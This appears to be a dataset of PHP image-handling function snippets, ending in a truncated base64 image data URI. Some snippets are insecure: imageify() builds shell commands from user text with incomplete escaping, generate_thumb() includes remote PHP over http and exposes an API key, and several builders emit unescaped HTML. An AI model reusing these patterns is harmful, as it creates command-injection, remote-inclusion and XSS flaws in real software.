"function image($file_name,$title,$class='',$id) {\n \tif ($id) $id = \"id = '\".$id.\"'\"; \n \t$data = '<img src=\"'.BASE_PATH.'/img/'.$file_name.'\" title = \"'.$title.'\" border=\"0\" align=\"absmiddle\" '.$id.' class=\"'.$class.'\" />';\n return $data;\n }",
"public function get_full_name(){\n\t\treturn \"{$this->id}_full.png\";\n\t}",
"function print_photo($table) {\n\n\t$html = \"<div class=\\\"div_class\\\" href=\\\"\" . $table['link'] . \"\\\">\\n\";\n\t$html .= \"\\t<img src=\\\"Images/\" . $table['photo'] . \"\\\">\";\n\t$html .= \"</div>\\n\";\n\n\treturn $html;\n\n}",
"function imageify($text){\n\t$text = str_replace('$', '\\$', $text);\n\t$text = str_replace('\"', '\\\"', $text);\n\n\t//select background image (31 to choose from)\n\t$background = \"images/\" . rand(1,31) . \".jpg\";\n\n\t//turn background image upside down\n\texec(\"convert $background -fill black -colorize 70% -rotate \\\"180\\\" background.jpg\");\n\n\t//create text with alpha background\n\t//(current size creates automatic 50px padding on all sides)\n\texec(\"convert -size 924x412 -background none -fill rgba\\(255,255,255,0.9\\) -font Helvetica-Bold -gravity West -interline-spacing 10 caption:\\\"$text\\\" -rotate \\\"180\\\" text.png\");\n\n\t//add them together\n\texec(\"composite -gravity center text.png background.jpg final.jpg\");\n\n\t//add the bug (Twitter handle) on top\n\texec(\"composite bug.png final.jpg final.jpg\");\n}",
"function image($pr,$width=40) {\n\t\t$pagerank=\"PageRank: $pr/10\";\n\t\n\t\t//The (old) image method\n\t\tif ($this->imgFormat == 'image') {\n\t\t$prpos=$width*$pr/10;\n\t\t$prneg=$width-$prpos;\n\t\t$html='<img src=\"http://www.google.com/images/pos.gif\" width='.$prpos.' height=4 border=0 alt=\"'.$pagerank.'\"><img src=\"http://www.google.com/images/neg.gif\" width='.$prneg.' height=4 border=0 alt=\"'.$pagerank.'\" title=\"'.$pagerank.'\">';\n\t\t}\n\t\t//The pre-styled method\n\t\tif ($this->imgFormat == 'css') {\n\t\t$prpercent=100*$pr/10;\n\t\t$html='<div title=\"'.$pagerank.'\" class=\"prbar\" style=\"width: 40px;\"><strong style=\"width: '.$prpercent.'%;\"><span></span></strong></div>';\n\t\t}\n\t\t\n\t\treturn $html;\n\t}",
"function kdw_row_tiles_txt_img (){ \r\n \r\n}",
"public function getSliderImageNameAttribute(){\n $photo_src=explode('.',$this->attributes['name']);\n if(count($photo_src)>1)\n {\n $photo_details = pathinfo($this->attributes['name']); \n $name = @$photo_details['filename'].'_1440x960.'.@$photo_details['extension'];\n return url('/').'/images/multiple_rooms/'.$this->attributes['multiple_room_id'].'/'.$name;\n }\n else\n {\n $options['secure']=TRUE;\n $options['width']=1440;\n $options['height']=960;\n $options['crop']='fill';\n return $src=\\Cloudder::show($this->attributes['name'],$options);\n }\n }",
"function generate_thumb($thumb){\nif (isset($thumb))\n\t/*---------------Start Director Setup ------------------------*/\n\t// Include DirectorAPI class file\n\tinclude('http://www.heyreverb.com/wp-content/plugins/ssp-slideshow/classes/DirectorPHP.php');\n\t$director = new Director('hosted-9c9cf54218f185433472b1e031a9b8c3', 'reverb.slideshowpro.com');\n\t//echo('Connected!');\n\t\n\t if ($thumb != \"\") {\n \t// Separate our comma separated list $thumb into an array\n $thumbnaildata = explode(\",\", $thumb);\n\t}\t\n\t\n\t# When your application is live, it is a good idea to enable caching.\n\t# You need to provide a string specific to this page and a time limit \n\t# for the cache. Note that in most cases, Director will be able to ping\n\t# back to clear the cache for you after a change is made, so don't be \n\t# afraid to set the time limit to a high number.\n\t$director->cache->set('10122010', '+60 minutes');\n\t\n\t# We can also request the album preview at a certain size\n\t#$director->format->preview(array('width' => \"0\", 'height' => '0', 'crop' => 0, 'quality' => 85, 'sharpening' => 1));\n\t$artlicleBig = array('name' => 'artlicleBig', 'width' => \"610\", 'height' => '384', 'crop' => 1, 'quality' => 80, 'sharpening' => 1);\n\t$artlicleMed = array('name' => 'artlicleMed', 'width' => \"282\", 'height' => '178', 'crop' => 1, 'quality' => 80, 'sharpening' => 1);\n\t$artlicleSm = array('name' => 'artlicleSm', 'width' => \"150\", 'height' => '150', 'crop' => 1, 'quality' => 80, 'sharpening' => 1);\n\t$artlicleTh = array('name' => 'artlicleTh', 'width' => \"150\", 'height' => '150', 'crop' => 1, 'quality' => 80, 'sharpening' => 1);\n\t$homeSlider = array('name' => 'homeSlider', 'width' => \"960\", 'height' => '400', 'crop' => 1, 'quality' => 95, 'sharpening' => 1);\n\t$director->format->add($artlicleBig);\n\t$director->format->add($artlicleMed);\n\t$director->format->add($artlicleSm);\n\t$director->format->add($artlicleTh);\n\t$director->format->add($homeSlider);\n /*-----------End Director Setup -----------------------------*/\t \n\n\t// Check to see if user wanted to use a specific image or if we should use the first one as a default\n\t$x = $thumbnaildata[1] -1;\n\tif ($x == -1) {\n\t\t$x = 0;\n\t}\n\n $album = $director->album->get($thumbnaildata[0]);\n\t$caption = $album->contents->content[$x]->caption;\n\t$album_name = $album->name;\n\t\n\t/*my array of formats*/\n\t$imginfo = Array (\n\t\t'articleBig_url' => $album->contents->content[$x]->artlicleBig->url .\"\\\" width=\\\"\" . $album->contents->content[$x]->artlicleBig->width . \"\\\" height=\\\"\" . $album->contents->content[$x]->artlicleBig->height . \"\\\" alt=\\\"\" . $album_name . \"\\\" /><div class=\\\"wp-caption\\\" style=\\\"margin-right:4px;width:610px;\\\"><p class=\\\"wp-caption-text\\\">\".$caption.\"</p></div>\",\n\t\t'articleMed_url' => $album->contents->content[$x]->artlicleMed->url .\"\\\" width=\\\"\" . $album->contents->content[$x]->artlicleMed->width . \"\\\" height=\\\"\" . $album->contents->content[$x]->artlicleMed->height . \"\\\" alt=\\\"\" . $album_name . \"\\\" /><div class=\\\"wp-caption\\\" style=\\\"margin-right:4px;width:282px;\\\"><p class=\\\"wp-caption-text\\\">\".$caption.\"</p></div>\",\n\t\t'articleSm_url' => $album->contents->content[$x]->artlicleSm->url .\"\\\" width=\\\"\" . $album->contents->content[$x]->artlicleSm->width . \"\\\" height=\\\"\" . $album->contents->content[$x]->artlicleSm->height . \"\\\" alt=\\\"\" . $album_name . \"\\\" />\",\n\t\t'articleTh_url' => $album->contents->content[$x]->artlicleTh->url .\"\\\" width=\\\"\" . $album->contents->content[$x]->artlicleTh->width . \"\\\" height=\\\"\" . $album->contents->content[$x]->artlicleTh->height . \"\\\" alt=\\\"\" . $album_name . \"\\\" />\",\n\t\t'homeSlider_url' => $album->contents->content[$x]->homeSlider->url );\n return $imginfo;\n}",
"function get()\n{\n\t$p=''; $ak='';\n\n\tfor($i=0;$i<count($this->reflist);$i++){\n\t\t$img=$this->tn->make_img($this->reflist[$i][1],$this->reflist[$i][2]);\n\t\tif($this->reflist[$i][3]!='')\n\t\t\t$ak=' accesskey=\"'.$this->reflist[$i][3].'\"';\n\t\tif($this->reflist[$i][0]!='')\n\t\t\t$img='<a href=\"'.$this->reflist[$i][0].'\"'.$ak.'>'.$img.'</a>';\n\t\t$p.='<td style=\"padding-left:5px;padding-bottom:1px\">'.$img.'</td>';\n\t}\n\n\treturn $p;\n}",
"function makeBandeau(){\n $bandeau = \"<div id=\\\"title\\\">\n <h1>\n <img src=\\\"images/bandeau.jpg\\\" />\n </h1>\n </div>\";\n echo $bandeau;\n}",
"public function picture(){\n }",
"function getImage();",
"public function getImage() {\n $items = $this->getItems();\n shuffle($items); // Randomize order of items to generate different baords each load\n $board_arrangement = $this->arrange($items);\n\n $image = imagecreatetruecolor(IMGSIZE, IMGSIZE);\n $black = imagecolorallocate($image, 0, 0, 0);\n imagefill($image, 0, 0, $black);\n\n return $this->drawImage($image, $board_arrangement, 0, 0, IMGSIZE);\n }",
"private function generateImgStarfield() {\r\n $img_starfield = $config[ConfigurationKey::prefix_img_starfield];\r\n $img_starfield = rand(0, $config[ConfigurationKey::number_img_starfield]);\r\n return $img_starfield;\r\n }",
"function buildTrendingList($titles) {\n foreach($titles as $title){\n $num = rand(1, 20);\n echo \"<div class=\\\"panel-body\\\">\\n\n <p><a href=\\\"/phase5/pages/info.php?id=$title[2]\\\"><img class=\\\"img-rounded\\\" src=\\\"images/trending_$num.jpg\\\">\n $title[0]</a></p>\\n\n </div>\\n\";\n }\n}",
"function ext_formatPostComic($content) {\r\n\t\r\n\tif ($content->type == 'comic') {\r\n\t\t$date = date(\"Ymd\", $content->date);\r\n\t\t$content->comic_image = 'cm_' . $date . '_' . substr(md5($date), 0, 1) . '.png';\r\n\t}\r\n\t\r\n\treturn $content;\r\n\r\n}",
"public function getImage();",
"public function getImage();",
"public function getImage();",
"public function getImage();",
"public function run()\n {\n\t $avatar = <<<'EOD'\ndata:image/jpeg;base64,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